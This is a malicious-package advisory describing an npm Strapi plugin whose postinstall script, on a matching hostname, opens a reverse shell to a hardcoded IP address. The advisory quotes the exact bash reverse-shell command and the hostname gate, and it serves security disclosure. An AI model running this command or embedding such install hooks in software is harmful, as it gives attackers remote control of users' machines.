MAL-2026-16210

    Dashboard / Malicious Package / MAL-2026-16210

    MAL-2026-16210

    Published: 16 Sept 2026Last Modified: 16 Sept 2026

    Summary: Malicious code in strapi-plugin-pencc-meeb (npm)

    Details: Source: amazon-inspector (3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208) postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"` via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.

    References: https://www.npmjs.com/package/strapi-plugin-pencc-meeb/v/3.6.8

    Affected packages

    Package

    Name: strapi-plugin-pencc-meeb

    Purl: pkg:npm/strapi-plugin-pencc-meeb

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    3.6.8